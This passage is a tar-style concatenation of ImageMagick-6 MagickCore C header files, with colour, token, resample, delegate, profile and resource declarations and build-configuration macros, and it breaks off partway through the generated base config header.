ChannelFeatures *GetImageChannelFeatures(const Image *,const size_t,ExceptionInfo *); extern MagickExport Image *CannyEdgeImage(const Image *,const double,const double,const double, const double,ExceptionInfo *), *HoughLineImage(const Image *,const size_t,const size_t,const size_t, ExceptionInfo *), *MeanShiftImage(const Image *,const size_t,const size_t,const double, ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/color.h 0000644 00000005715 15246445046 0011611 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image color methods. */ #ifndef MAGICKCORE_COLOR_H #define MAGICKCORE_COLOR_H #include "magick/pixel.h" #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedCompliance, NoCompliance = 0x0000, CSSCompliance = 0x0001, SVGCompliance = 0x0001, X11Compliance = 0x0002, XPMCompliance = 0x0004, MVGCompliance = 0x0008, AllCompliance = 0x7fffffff } ComplianceType; typedef struct _ColorInfo { char *path, *name; ComplianceType compliance; MagickPixelPacket color; MagickBooleanType exempt, stealth; struct _ColorInfo *previous, *next; /* deprecated, use GetColorInfoList() */ size_t signature; } ColorInfo; typedef struct _ErrorInfo { double mean_error_per_pixel, normalized_mean_error, normalized_maximum_error; } ErrorInfo; extern MagickExport char **GetColorList(const char *,size_t *,ExceptionInfo *); extern MagickExport const ColorInfo *GetColorInfo(const char *,ExceptionInfo *), **GetColorInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickBooleanType ColorComponentGenesis(void), IsColorSimilar(const Image *,const PixelPacket *,const PixelPacket *), IsImageSimilar(const Image *,const Image *,ssize_t *x,ssize_t *y, ExceptionInfo *), IsMagickColorSimilar(const MagickPixelPacket *,const MagickPixelPacket *), IsOpacitySimilar(const Image *,const PixelPacket *,const PixelPacket *), ListColorInfo(FILE *,ExceptionInfo *), QueryColorCompliance(const char *,const ComplianceType,PixelPacket *, ExceptionInfo *), QueryColorDatabase(const char *,PixelPacket *,ExceptionInfo *), QueryColorname(const Image *,const PixelPacket *,const ComplianceType,char *, ExceptionInfo *), QueryMagickColorCompliance(const char *,const ComplianceType, MagickPixelPacket *,ExceptionInfo *), QueryMagickColor(const char *,MagickPixelPacket *,ExceptionInfo *), QueryMagickColorname(const Image *,const MagickPixelPacket *, const ComplianceType,char *,ExceptionInfo *); extern MagickExport void ColorComponentTerminus(void), ConcatenateColorComponent(const MagickPixelPacket *,const ChannelType, const ComplianceType,char *), GetColorTuple(const MagickPixelPacket *,const MagickBooleanType,char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magick-config-64.h 0000644 00000015126 15246445046 0013415 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickConfig not autogenerated (fixed stuff) */ #ifndef MAGICKCORE_MAGICK_CONFIG_H #define MAGICKCORE_MAGICK_CONFIG_H #include "magick/magick-baseconfig.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Compatibility block */ #if !defined(MAGICKCORE_QUANTUM_DEPTH) && defined(MAGICKCORE_QUANTUM_DEPTH_OBSOLETE_IN_H) # warning "you should set MAGICKCORE_QUANTUM_DEPTH to sensible default set it to configure time default" # warning "this is an obsolete behavior please fix your makefile" # define MAGICKCORE_QUANTUM_DEPTH MAGICKCORE_QUANTUM_DEPTH_OBSOLETE_IN_H #endif /* Number of bits in a pixel Quantum (8/16/32/64) */ #ifndef MAGICKCORE_QUANTUM_DEPTH # error "you should set MAGICKCORE_QUANTUM_DEPTH" #endif /* check values */ #if MAGICKCORE_QUANTUM_DEPTH != 8 # if MAGICKCORE_QUANTUM_DEPTH != 16 # if MAGICKCORE_QUANTUM_DEPTH != 32 # if MAGICKCORE_QUANTUM_DEPTH != 64 # error "MAGICKCORE_QUANTUM_DEPTH is not 8/16/32/64 bits" # endif # endif # endif #endif #if !defined(MAGICKCORE_HDRI_ENABLE) && defined(MAGICKCORE_HDRI_ENABLE_OBSOLETE_IN_H) # warning "you should set MAGICKCORE_HDRI_ENABLE to sensible default set it to configure time default" # warning "this is an obsolete behavior please fix yours makefile" # define MAGICKCORE_HDRI_ENABLE MAGICKCORE_HDRI_ENABLE_OBSOLETE_IN_H #endif /* whether HDRI is enable */ #if !defined(MAGICKCORE_HDRI_ENABLE) # error "you should set MAGICKCORE_HDRI_ENABLE" #endif #if MAGICKCORE_HDRI_ENABLE # define MAGICKCORE_HDRI_SUPPORT 1 #endif #if defined __CYGWIN32__ && !defined __CYGWIN__ /* For backwards compatibility with Cygwin b19 and earlier, we define __CYGWIN__ here, so that we can rely on checking just for that macro. */ # define __CYGWIN__ __CYGWIN32__ #endif /*! stringify */ #define MAGICKCORE_STRING_QUOTE(str) #str #define MAGICKCORE_STRING_XQUOTE(str) MAGICKCORE_STRING_QUOTE(str) /* ABI SUFFIX */ #ifndef MAGICKCORE_HDRI_SUPPORT #define MAGICKCORE_ABI_SUFFIX "Q" MAGICKCORE_STRING_XQUOTE(MAGICKCORE_QUANTUM_DEPTH) #else #define MAGICKCORE_ABI_SUFFIX "Q" MAGICKCORE_STRING_XQUOTE(MAGICKCORE_QUANTUM_DEPTH) "HDRI" #endif /* some path game */ #if !defined __CYGWIN__ # if defined (_WIN32) || defined (_WIN64) || defined (__MSDOS__) || defined (__DJGPP__) || defined (__OS2__) /* Use Windows separators on all _WIN32 defining environments, except Cygwin. */ # define MAGICKCORE_DIR_SEPARATOR_CHAR '\\' # define MAGICKCORE_DIR_SEPARATOR "\\" # define MAGICKCORE_PATH_SEPARATOR_CHAR ';' # define MAGICKCORE_PATH_SEPARATOR ";" # endif #endif /* posix */ #ifndef MAGICKCORE_DIR_SEPARATOR_CHAR /* Assume that not having this is an indicator that all are missing. */ # define MAGICKCORE_DIR_SEPARATOR_CHAR '/' # define MAGICKCORE_DIR_SEPARATOR "/" # define MAGICKCORE_PATH_SEPARATOR_CHAR ':' # define MAGICKCORE_PATH_SEPARATOR ":" #endif /* !DIR_SEPARATOR_CHAR */ # if defined(MAGICKCORE_POSIX_SUPPORT) || defined(__MINGW32__) /* module dir */ #ifndef MAGICKCORE_MODULES_DIRNAME # define MAGICKCORE_MODULES_DIRNAME MAGICKCORE_MODULES_BASEDIRNAME "-" MAGICKCORE_ABI_SUFFIX #endif #ifndef MAGICKCORE_MODULES_PATH # define MAGICKCORE_MODULES_PATH MAGICKCORE_LIBRARY_ABSOLUTE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_MODULES_DIRNAME #endif #ifndef MAGICKCORE_MODULES_RELATIVE_PATH #define MAGICKCORE_MODULES_RELATIVE_PATH MAGICKCORE_LIBRARY_RELATIVE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_MODULES_DIRNAME #endif /* Subdirectory under lib to place ImageMagick coder module files */ #ifndef MAGICKCORE_CODER_PATH # if defined(vms) # define MAGICKCORE_CODER_PATH "sys$login:" # else # define MAGICKCORE_CODER_PATH MAGICKCORE_MODULES_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_CODER_DIRNAME # endif #endif #ifndef MAGICKCORE_CODER_RELATIVE_PATH # define MAGICKCORE_CODER_RELATIVE_PATH MAGICKCORE_MODULES_RELATIVE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_CODER_DIRNAME #endif /* subdirectory under lib to place ImageMagick filter module files */ #ifndef MAGICKCORE_FILTER_PATH # if defined(vms) # define MAGICKCORE_FILTER_PATH "sys$login:" # else # define MAGICKCORE_FILTER_PATH MAGICKCORE_MODULES_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_FILTER_DIRNAME # endif #endif #ifndef MAGICKCORE_FILTER_RELATIVE_PATH # define MAGICKCORE_FILTER_RELATIVE_PATH MAGICKCORE_MODULES_RELATIVE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_FILTER_DIRNAME #endif /* sharearch dir */ #ifndef MAGICKCORE_SHAREARCH_DIRNAME # define MAGICKCORE_SHAREARCH_DIRNAME MAGICKCORE_SHAREARCH_BASEDIRNAME "-" MAGICKCORE_ABI_SUFFIX #endif #ifndef MAGICKCORE_SHAREARCH_PATH # define MAGICKCORE_SHAREARCH_PATH MAGICKCORE_LIBRARY_ABSOLUTE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_SHAREARCH_DIRNAME MAGICKCORE_DIR_SEPARATOR #endif #ifndef MAGICKCORE_SHAREARCH_RELATIVE_PATH #define MAGICKCORE_SHAREARCH_RELATIVE_PATH MAGICKCORE_LIBRARY_RELATIVE_PATH MAGICKCORE_DIR_SEPARATOR MAGICKCORE_SHAREARCH_DIRNAME #endif /* for Clang compatibility */ #ifndef __has_builtin # define __has_builtin(x) 0 #endif #if defined(__GNUC__) && !defined(__clang__) # define MAGICKCORE_DIAGNOSTIC_PUSH() \ _Pragma("GCC diagnostic push") # define MAGICKCORE_DIAGNOSTIC_IGNORE_MAYBE_UNINITIALIZED() \ _Pragma("GCC diagnostic ignored \"-Wmaybe-uninitialized\"") # define MAGICKCORE_DIAGNOSTIC_POP() \ _Pragma("GCC diagnostic pop") #else # define MAGICKCORE_DIAGNOSTIC_PUSH() # define MAGICKCORE_DIAGNOSTIC_IGNORE_MAYBE_UNINITIALIZED() # define MAGICKCORE_DIAGNOSTIC_POP() #endif #define MAGICKCORE_BITS_BELOW(power_of_2) \ ((power_of_2)-1) #define MAGICKCORE_MAX_ALIGNMENT_PADDING(power_of_2) \ MAGICKCORE_BITS_BELOW(power_of_2) #define MAGICKCORE_IS_NOT_ALIGNED(n, power_of_2) \ ((n) & MAGICKCORE_BITS_BELOW(power_of_2)) #define MAGICKCORE_IS_NOT_POWER_OF_2(n) \ MAGICKCORE_IS_NOT_ALIGNED((n), (n)) #define MAGICKCORE_ALIGN_DOWN(n, power_of_2) \ ((n) & ~MAGICKCORE_BITS_BELOW(power_of_2)) #define MAGICKCORE_ALIGN_UP(n, power_of_2) \ MAGICKCORE_ALIGN_DOWN((n) + MAGICKCORE_MAX_ALIGNMENT_PADDING(power_of_2),power_of_2) #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/token.h 0000644 00000003126 15246445046 0011605 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore token methods. */ #ifndef MAGICKCORE_TOKEN_H #define MAGICKCORE_TOKEN_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Typedef declarations. */ typedef struct _TokenInfo TokenInfo; extern MagickExport int Tokenizer(TokenInfo *,const unsigned int,char *,const size_t,const char *, const char *,const char *,const char *,const char,char *,int *,char *); extern MagickExport MagickBooleanType GlobExpression(const char *magick_restrict,const char *magick_restrict, const MagickBooleanType) magick_attribute((__pure__)), IsGlob(const char *) magick_attribute((__pure__)), IsMagickTrue(const char *) magick_attribute((__pure__)); extern MagickExport size_t GetNextToken(const char *magick_restrict,const char **magick_restrict, const size_t,char *magick_restrict) magick_hot_spot; extern MagickExport TokenInfo *AcquireTokenInfo(void), *DestroyTokenInfo(TokenInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/version.h 0000644 00000000267 15246445046 0012155 0 ustar 00 #include <bits/wordsize.h> #if __WORDSIZE == 32 # include "version-32.h" #elif __WORDSIZE == 64 # include "version-64.h" #else # error "unexpected value for __WORDSIZE macro" #endif ImageMagick-6/magick/resample.h 0000644 00000005142 15246445046 0012275 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore graphic resample methods. */ #ifndef MAGICKCORE_RESAMPLE_H #define MAGICKCORE_RESAMPLE_H #include "magick/cache-view.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* WARNING: The order of this table must also match the order of a table located in AcquireResizeFilter() in "resize.c" otherwise the users filter will not match the actual filter that is setup. */ typedef enum { UndefinedFilter, PointFilter, BoxFilter, TriangleFilter, HermiteFilter, HanningFilter, HammingFilter, BlackmanFilter, GaussianFilter, QuadraticFilter, CubicFilter, CatromFilter, MitchellFilter, JincFilter, SincFilter, SincFastFilter, KaiserFilter, WelshFilter, ParzenFilter, BohmanFilter, BartlettFilter, LagrangeFilter, LanczosFilter, LanczosSharpFilter, Lanczos2Filter, Lanczos2SharpFilter, RobidouxFilter, RobidouxSharpFilter, CosineFilter, SplineFilter, LanczosRadiusFilter, SentinelFilter /* a count of all the filters, not a real filter */ } FilterTypes; /* Backward compatibility for the more correctly named Jinc Filter. Original source of this filter is from "zoom" but it refers to a reference by Pratt, who does not actualy name the filter. */ #define BesselFilter JincFilter typedef struct _ResampleFilter ResampleFilter; extern MagickExport MagickBooleanType ResamplePixelColor(ResampleFilter *,const double,const double, MagickPixelPacket *), SetResampleFilterInterpolateMethod(ResampleFilter *, const InterpolatePixelMethod), SetResampleFilterVirtualPixelMethod(ResampleFilter *, const VirtualPixelMethod); extern MagickExport ResampleFilter *AcquireResampleFilter(const Image *,ExceptionInfo *), *DestroyResampleFilter(ResampleFilter *); extern MagickExport void ScaleResampleFilter(ResampleFilter *,const double,const double,const double, const double), SetResampleFilter(ResampleFilter *,const FilterTypes,const double); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/delegate.h 0000644 00000004235 15246445046 0012241 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore delegates methods. */ #ifndef MAGICKCORE_DELEGATE_H #define MAGICKCORE_DELEGATE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #include <stdarg.h> #include "magick/semaphore.h" typedef struct _DelegateInfo { char *path, *decode, *encode, *commands; ssize_t mode; MagickBooleanType thread_support, spawn, stealth; struct _DelegateInfo *previous, *next; /* deprecated, use GetDelegateInfoList() */ size_t signature; SemaphoreInfo *semaphore; } DelegateInfo; extern MagickExport char *GetDelegateCommand(const ImageInfo *,Image *,const char *,const char *, ExceptionInfo *), **GetDelegateList(const char *,size_t *,ExceptionInfo *); extern MagickExport const char *GetDelegateCommands(const DelegateInfo *); extern MagickExport const DelegateInfo *GetDelegateInfo(const char *,const char *,ExceptionInfo *exception), **GetDelegateInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport int ExternalDelegateCommand(const MagickBooleanType,const MagickBooleanType, const char *,char *,ExceptionInfo *); extern MagickExport ssize_t GetDelegateMode(const DelegateInfo *); extern MagickExport MagickBooleanType DelegateComponentGenesis(void), GetDelegateThreadSupport(const DelegateInfo *), InvokeDelegate(ImageInfo *,Image *,const char *,const char *,ExceptionInfo *), ListDelegateInfo(FILE *,ExceptionInfo *); extern MagickExport void DelegateComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/profile.h 0000644 00000003377 15246445046 0012135 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image profile methods. */ #ifndef MAGICKCORE_PROFILE_H #define MAGICKCORE_PROFILE_H #include "magick/string_.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _ProfileInfo { char *name; size_t length; unsigned char *info; size_t signature; } ProfileInfo; typedef enum { UndefinedIntent, SaturationIntent, PerceptualIntent, AbsoluteIntent, RelativeIntent } RenderingIntent; extern MagickExport char *GetNextImageProfile(const Image *); extern MagickExport const StringInfo *GetImageProfile(const Image *,const char *); extern MagickExport MagickBooleanType CloneImageProfiles(Image *,const Image *), DeleteImageProfile(Image *,const char *), ProfileImage(Image *,const char *,const void *,const size_t, const MagickBooleanType), SetImageProfile(Image *,const char *,const StringInfo *), SyncImageProfiles(Image *); extern MagickExport StringInfo *RemoveImageProfile(Image *,const char *); extern MagickExport void DestroyImageProfiles(Image *), ResetImageProfileIterator(const Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/resource_.h 0000644 00000003466 15246445046 0012462 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore resource methods. */ #ifndef MAGICKCORE_RESOURCE_H #define MAGICKCORE_RESOURCE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedResource, AreaResource, DiskResource, FileResource, MapResource, MemoryResource, ThreadResource, TimeResource, ThrottleResource, WidthResource, HeightResource, ListLengthResource } ResourceType; #define MagickResourceInfinity (MagickULLConstant(~0) >> 1) extern MagickExport int AcquireUniqueFileResource(char *); extern MagickExport MagickBooleanType AcquireMagickResource(const ResourceType,const MagickSizeType), GetPathTemplate(char *), ListMagickResourceInfo(FILE *,ExceptionInfo *), RelinquishUniqueFileResource(const char *), ResourceComponentGenesis(void), SetMagickResourceLimit(const ResourceType,const MagickSizeType); extern MagickExport MagickSizeType GetMagickResource(const ResourceType), GetMagickResourceLimit(const ResourceType); extern MagickExport void AsynchronousResourceComponentTerminus(void), RelinquishMagickResource(const ResourceType,const MagickSizeType), ResourceComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magick-baseconfig-64.h 0000644 00000132436 15246445046 0014254 0 ustar 00 #ifndef _MAGICK_MAGICK_BASECONFIG_H #define _MAGICK_MAGICK_BASECONFIG_H 1 /* magick/magick-baseconfig.h. Generated automatically at end of configure. */ /* config/config.h. Generated from config.h.in by configure. */ /* config/config.h.in. Generated from configure.ac by autoheader. */ /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* Define if you have AUTOTRACE library */ /* #undef AUTOTRACE_DELEGATE */ /* Define if coders and filters are to be built as modules. */ #ifndef MAGICKCORE_BUILD_MODULES #define MAGICKCORE_BUILD_MODULES 1 #endif /* Define if you have the bzip2 library */ #ifndef MAGICKCORE_BZLIB_DELEGATE #define MAGICKCORE_BZLIB_DELEGATE 1 #endif /* Define if you have CAIRO library */ #ifndef MAGICKCORE_CAIRO_DELEGATE #define MAGICKCORE_CAIRO_DELEGATE 1 #endif /* permit enciphering and deciphering image pixels */ #ifndef MAGICKCORE_CIPHER_SUPPORT #define MAGICKCORE_CIPHER_SUPPORT 1 #endif /* coders subdirectory. */ #ifndef MAGICKCORE_CODER_DIRNAME #define MAGICKCORE_CODER_DIRNAME "coders" #endif /* Directory where architecture-dependent configuration files live. */ #ifndef MAGICKCORE_CONFIGURE_PATH #define MAGICKCORE_CONFIGURE_PATH "/etc/ImageMagick-6/" #endif /* Subdirectory of lib where architecture-dependent configuration files live. */ #ifndef MAGICKCORE_CONFIGURE_RELATIVE_PATH #define MAGICKCORE_CONFIGURE_RELATIVE_PATH "ImageMagick-6" #endif /* Define if you have DJVU library */ #ifndef MAGICKCORE_DJVU_DELEGATE #define MAGICKCORE_DJVU_DELEGATE 1 #endif /* Directory where ImageMagick documents live. */ #ifndef MAGICKCORE_DOCUMENTATION_PATH #define MAGICKCORE_DOCUMENTATION_PATH "/usr/share/doc/ImageMagick-6/" #endif /* Define if you have Display Postscript */ /* #undef DPS_DELEGATE */ /* exclude deprecated methods in MagickCore API */ /* #undef EXCLUDE_DEPRECATED */ /* Directory where executables are installed. */ #ifndef MAGICKCORE_EXECUTABLE_PATH #define MAGICKCORE_EXECUTABLE_PATH "/usr/bin/" #endif /* Define if you have FFTW library */ /* #undef FFTW_DELEGATE */ /* filter subdirectory. */ #ifndef MAGICKCORE_FILTER_DIRNAME #define MAGICKCORE_FILTER_DIRNAME "filters" #endif /* Define if you have FLIF library */ /* #undef FLIF_DELEGATE */ /* Define if you have FONTCONFIG library */ #ifndef MAGICKCORE_FONTCONFIG_DELEGATE #define MAGICKCORE_FONTCONFIG_DELEGATE 1 #endif /* Define if you have FlashPIX library */ /* #undef FPX_DELEGATE */ /* Define if you have FREETYPE library */ #ifndef MAGICKCORE_FREETYPE_DELEGATE #define MAGICKCORE_FREETYPE_DELEGATE 1 #endif /* Define if you have Ghostscript library or framework */ #ifndef MAGICKCORE_GS_DELEGATE #define MAGICKCORE_GS_DELEGATE 1 #endif /* Define if you have GVC library */ #ifndef MAGICKCORE_GVC_DELEGATE #define MAGICKCORE_GVC_DELEGATE 1 #endif /* Define to 1 if you have the 'acosh' function. */ #ifndef MAGICKCORE_HAVE_ACOSH #define MAGICKCORE_HAVE_ACOSH 1 #endif /* Define to 1 if you have the 'aligned_malloc' function. */ /* #undef HAVE_ALIGNED_MALLOC */ /* Define to 1 if you have the <arm/limits.h> header file. */ /* #undef HAVE_ARM_LIMITS_H */ /* Define to 1 if you have the <arpa/inet.h> header file. */ #ifndef MAGICKCORE_HAVE_ARPA_INET_H #define MAGICKCORE_HAVE_ARPA_INET_H 1 #endif /* Define to 1 if you have the 'asinh' function. */ #ifndef MAGICKCORE_HAVE_ASINH #define MAGICKCORE_HAVE_ASINH 1 #endif /* Define to 1 if you have the 'atanh' function. */ #ifndef MAGICKCORE_HAVE_ATANH #define MAGICKCORE_HAVE_ATANH 1 #endif /* Define to 1 if you have the 'atexit' function. */ #ifndef MAGICKCORE_HAVE_ATEXIT #define MAGICKCORE_HAVE_ATEXIT 1 #endif /* Define to 1 if you have the 'atoll' function. */ #ifndef MAGICKCORE_HAVE_ATOLL #define MAGICKCORE_HAVE_ATOLL 1 #endif /* define if bool is a built-in type */ #ifndef MAGICKCORE_HAVE_BOOL #define MAGICKCORE_HAVE_BOOL /**/ #endif /* Define to 1 if you have the 'cabs' function. */ #ifndef MAGICKCORE_HAVE_CABS #define MAGICKCORE_HAVE_CABS 1 #endif /* Define to 1 if you have the 'carg' function. */ #ifndef MAGICKCORE_HAVE_CARG #define MAGICKCORE_HAVE_CARG 1 #endif /* Define to 1 if you have the 'cimag' function. */ #ifndef MAGICKCORE_HAVE_CIMAG #define MAGICKCORE_HAVE_CIMAG 1 #endif /* Define to 1 if you have the 'clock' function. */ #ifndef MAGICKCORE_HAVE_CLOCK #define MAGICKCORE_HAVE_CLOCK 1 #endif /* Define to 1 if you have the 'clock_getres' function. */ #ifndef MAGICKCORE_HAVE_CLOCK_GETRES #define MAGICKCORE_HAVE_CLOCK_GETRES 1 #endif /* Define to 1 if you have the 'clock_gettime' function. */ #ifndef MAGICKCORE_HAVE_CLOCK_GETTIME #define MAGICKCORE_HAVE_CLOCK_GETTIME 1 #endif /* Define to 1 if clock_gettime supports CLOCK_REALTIME. */ #ifndef MAGICKCORE_HAVE_CLOCK_REALTIME #define MAGICKCORE_HAVE_CLOCK_REALTIME 1 #endif /* Define to 1 if you have the <CL/cl.h> header file. */ /* #undef HAVE_CL_CL_H */ /* Define to 1 if you have the <complex.h> header file. */ #ifndef MAGICKCORE_HAVE_COMPLEX_H #define MAGICKCORE_HAVE_COMPLEX_H 1 #endif /* Define to 1 if you have the 'creal' function. */ #ifndef MAGICKCORE_HAVE_CREAL #define MAGICKCORE_HAVE_CREAL 1 #endif /* Define to 1 if you have the 'ctime_r' function. */ #ifndef MAGICKCORE_HAVE_CTIME_R #define MAGICKCORE_HAVE_CTIME_R 1 #endif /* Define to 1 if you have the declaration of 'pread', and to 0 if you don't. */ #ifndef MAGICKCORE_HAVE_DECL_PREAD #define MAGICKCORE_HAVE_DECL_PREAD 1 #endif /* Define to 1 if you have the declaration of 'pwrite', and to 0 if you don't. */ #ifndef MAGICKCORE_HAVE_DECL_PWRITE #define MAGICKCORE_HAVE_DECL_PWRITE 1 #endif /* Define to 1 if you have the declaration of 'strerror_r', and to 0 if you don't. */ #ifndef MAGICKCORE_HAVE_DECL_STRERROR_R #define MAGICKCORE_HAVE_DECL_STRERROR_R 1 #endif /* Define to 1 if you have the declaration of 'strlcpy', and to 0 if you don't. */ #ifndef MAGICKCORE_HAVE_DECL_STRLCPY #define MAGICKCORE_HAVE_DECL_STRLCPY 0 #endif /* Define to 1 if you have the declaration of 'tzname', and to 0 if you don't. */ /* #undef HAVE_DECL_TZNAME */ /* Define to 1 if you have the declaration of 'vsnprintf', and to 0 if you don't. */ #ifndef MAGICKCORE_HAVE_DECL_VSNPRINTF #define MAGICKCORE_HAVE_DECL_VSNPRINTF 1 #endif /* Define to 1 if you have the 'directio' function. */ /* #undef HAVE_DIRECTIO */ /* Define to 1 if you have the <dirent.h> header file, and it defines 'DIR'. */ #ifndef MAGICKCORE_HAVE_DIRENT_H #define MAGICKCORE_HAVE_DIRENT_H 1 #endif /* Define to 1 if you have the <dlfcn.h> header file. */ #ifndef MAGICKCORE_HAVE_DLFCN_H #define MAGICKCORE_HAVE_DLFCN_H 1 #endif /* Define to 1 if you have the 'erf' function. */ #ifndef MAGICKCORE_HAVE_ERF #define MAGICKCORE_HAVE_ERF 1 #endif /* Define to 1 if you have the <errno.h> header file. */ #ifndef MAGICKCORE_HAVE_ERRNO_H #define MAGICKCORE_HAVE_ERRNO_H 1 #endif /* Define to 1 if you have the 'execvp' function. */ #ifndef MAGICKCORE_HAVE_EXECVP #define MAGICKCORE_HAVE_EXECVP 1 #endif /* Define to 1 if you have the 'fchmod' function. */ #ifndef MAGICKCORE_HAVE_FCHMOD #define MAGICKCORE_HAVE_FCHMOD 1 #endif /* Define to 1 if you have the <fcntl.h> header file. */ #ifndef MAGICKCORE_HAVE_FCNTL_H #define MAGICKCORE_HAVE_FCNTL_H 1 #endif /* Define to 1 if you have the <float.h> header file. */ #ifndef MAGICKCORE_HAVE_FLOAT_H #define MAGICKCORE_HAVE_FLOAT_H 1 #endif /* Define to 1 if you have the 'floor' function. */ #ifndef MAGICKCORE_HAVE_FLOOR #define MAGICKCORE_HAVE_FLOOR 1 #endif /* Define to 1 if you have the 'fork' function. */ #ifndef MAGICKCORE_HAVE_FORK #define MAGICKCORE_HAVE_FORK 1 #endif /* Define to 1 if fseeko (and ftello) are declared in stdio.h. */ #ifndef MAGICKCORE_HAVE_FSEEKO #define MAGICKCORE_HAVE_FSEEKO 1 #endif /* Define to 1 if you have the 'ftime' function. */ #ifndef MAGICKCORE_HAVE_FTIME #define MAGICKCORE_HAVE_FTIME 1 #endif /* Define to 1 if you have the 'ftruncate' function. */ #ifndef MAGICKCORE_HAVE_FTRUNCATE #define MAGICKCORE_HAVE_FTRUNCATE 1 #endif /* Define to 1 if you have the 'getcwd' function. */ #ifndef MAGICKCORE_HAVE_GETCWD #define MAGICKCORE_HAVE_GETCWD 1 #endif /* Define to 1 if you have the 'getc_unlocked' function. */ #ifndef MAGICKCORE_HAVE_GETC_UNLOCKED #define MAGICKCORE_HAVE_GETC_UNLOCKED 1 #endif /* Define to 1 if you have the 'getdtablesize' function. */ #ifndef MAGICKCORE_HAVE_GETDTABLESIZE #define MAGICKCORE_HAVE_GETDTABLESIZE 1 #endif /* Define to 1 if you have the 'getentropy' function. */ #ifndef MAGICKCORE_HAVE_GETENTROPY #define MAGICKCORE_HAVE_GETENTROPY 1 #endif /* Define to 1 if you have the 'getexecname' function. */ /* #undef HAVE_GETEXECNAME */ /* Define to 1 if you have the 'getpagesize' function. */ #ifndef MAGICKCORE_HAVE_GETPAGESIZE #define MAGICKCORE_HAVE_GETPAGESIZE 1 #endif /* Define to 1 if you have the 'getpid' function. */ #ifndef MAGICKCORE_HAVE_GETPID #define MAGICKCORE_HAVE_GETPID 1 #endif /* Define to 1 if you have the 'getpwnam_r' function. */ #ifndef MAGICKCORE_HAVE_GETPWNAM_R #define MAGICKCORE_HAVE_GETPWNAM_R 1 #endif /* Define to 1 if you have the 'getrlimit' function. */ #ifndef MAGICKCORE_HAVE_GETRLIMIT #define MAGICKCORE_HAVE_GETRLIMIT 1 #endif /* Define to 1 if you have the 'getrusage' function. */ #ifndef MAGICKCORE_HAVE_GETRUSAGE #define 